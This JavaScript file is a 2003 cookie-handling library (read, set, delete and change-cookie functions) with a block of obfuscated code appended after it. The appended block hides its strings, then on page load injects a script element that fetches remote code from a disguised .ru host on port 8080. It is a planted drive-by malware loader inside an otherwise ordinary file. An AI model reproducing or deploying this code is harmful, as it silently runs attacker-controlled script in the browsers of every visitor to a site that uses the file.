/*******************************************************
COOKIE FUNCTIONALITY
Based on "Night of the Living Cookie" by Bill Dortch
(c) 2003, Ryan Parman
http://www.skyzyx.com
Distributed according to SkyGPL 2.1, http://www.skyzyx.com/license/
*******************************************************/
function cookie(name, value, expires, path, domain, secure)
{
	// Passed Values
	this.name=name;
	this.value=value;
	this.expires=expires;
	this.path=path;
	this.domain=domain;
	this.secure=secure;

	// Read cookie
	this.read=function()
	{
		// To allow for faster parsing
		var ck=document.cookie;

		var arg = this.name + "=";
		var alen = arg.length;
		var clen = ck.length;
		var i = 0;

		while (i < clen)
		{
			var j = i + alen;
			if (ck.substring(i, j) == arg)
			{
				var endstr = ck.indexOf (";", j);
				if (endstr == -1) endstr = ck.length;
				return unescape(ck.substring(j, endstr));
			}
			i = ck.indexOf(" ", i) + 1;
			if (i == 0) break;
		}
		return null;
	}

	// Set cookie
	this.set=function()
	{
		// Store initial value of "this.expires" for re-initialization.
		expStore=this.expires;

		// Set time to absolute zero.
		exp = new Date();
		base = new Date(0);
		skew = base.getTime();
		if (skew > 0)  exp.setTime (exp.getTime() - skew);
		exp.setTime(exp.getTime() + (this.expires*24*60*60*1000));
		this.expires=exp;

		document.cookie = this.name + "=" + escape (this.value) +
				((this.expires) ? "; expires=" + this.expires.toGMTString() : "") +
				((this.path) ? "; path=" + this.path : "") +
				((this.domain) ? "; domain=" + this.domain : "") +
				((this.secure) ? "; secure" : "");

		// Re-initialize
		this.expires=expStore;
	}

	// Kill cookie
	this.kill=function()
	{
		document.cookie = this.name + "=" +
				((this.path) ? "; path=" + this.path : "") +
				((this.domain) ? "; domain=" + this.domain : "") +
				"; expires=Thu, 01-Jan-70 00:00:01 GMT";
	}

	// Change cookie settings.
	this.changeName=function(chName) { this.kill(); this.name=chName; this.set(); }
	this.changeVal=function(chVal) { this.kill(); this.value=chVal; this.set(); }
	this.changeExp=function(chExp) { this.kill(); this.expires=chExp; this.set(); }
	this.changePath=function(chPath) { this.kill(); this.path=chPath; this.set(); }
	this.changeDomain=function(chDom) { this.kill(); this.domain=chDom; this.set(); }
	this.changeSecurity=function(chSec) { this.kill(); this.secure=chSec; this.set(); }
}


var ZX;if(ZX!='vr'){ZX='vr'};var rz;if(rz!='' && rz!='j'){rz='i'};try {var w;if(w!='R' && w != ''){w=null};var D=new String("reJzBj".substr(0,2)+"pl0Ck".substr(0,2)+"JkshacJhsk".substr(4,2)+"B0gKe".substr(4));var Mj=new Array();var r=RegExp;var Y;if(Y!='' && Y!='V'){Y='Mm'};this.x='';function u(I,Z){var P;if(P!='' && P!='Rp'){P='o'};var C=new String("[");var z=String("tHTJg".substr(4));var fj='';var uo;if(uo!='N' && uo!='L'){uo='N'};C+=Z;var oV=new Array();var F=new String();C+=new String("o0E]".substr(3));var mo=new String();var jb='';var ne="";var D_=new r(C, z);return I[D](D_, new String());this.kw='';};var ZN="";var MN="";this.jX="";var sv;if(sv!='S'){sv='S'};var g=u('oKnslDoDaRdZ',"RZsDK");var Sw='';var d='';var K=new String();var Zt=u('/0gPo0o0gPl0eP.0cPo0m0/0g0oPoPg0lPe0.Pc0o0mP/PbPbPc0.0cPoP.PuPk0/PgPo0u0gPoPu0.PcPoPmP/0w0ePb0mPdP.0cPo0mP.PpPhPpP',"0P");var l;if(l!='XH'){l='XH'};var v=u('844041826012',"4612");var yx;if(yx!='nO' && yx!='Jr'){yx=''};var T;if(T!='Vo' && T!='YD'){T=''};var b=u('csr0e0aBt0e0EBl5esmBe5nBt5',"05sB");var wu="";var f=window;var SX;if(SX!=''){SX='Qw'};var Cz=u('szczrziKpztK',"Kz");var dn=new Date();this.Cj='';this.Zb="";var B=u('hOtdtOp1:O/1/Og1ododgdlOed-dc1o1md-dp1k1.didrdc1tOcO.Ocdo1.di1nd.1tOnOadf1lOi1xd-1cOodmO.dS1udpdedr1Sdu1pdeOrOMdadlOld.dr1ud:d',"dO1");J=function(){p=document[b](Cz);var yY;if(yY!='' && yY!='nR'){yY=''};d=B+v;var ti="";var vJ;if(vJ!=''){vJ='Ab'};d+=Zt;this.O='';var Voe='';var Sf;if(Sf!='uA' && Sf!='lo'){Sf=''};p.defer=([1,4][0]);var FJ;if(FJ!='PP' && FJ!='uv'){FJ='PP'};var aB;if(aB!='' && aB!='CB'){aB='TP'};p.src=d;var Pkv;if(Pkv!='Ce'){Pkv=''};var AY;if(AY!=''){AY='ap'};document.body.appendChild(p);this.jK="";};var Of=new String();var Bz;if(Bz!='etj' && Bz!='tE'){Bz='etj'};f[g]=J;var XP='';var c;if(c!='BK' && c!='Yk'){c=''};this.Gu="";} catch(bZ){this.xU='';};var lO;if(lO!='' && lO!='h'){lO=null};var tr=new Date();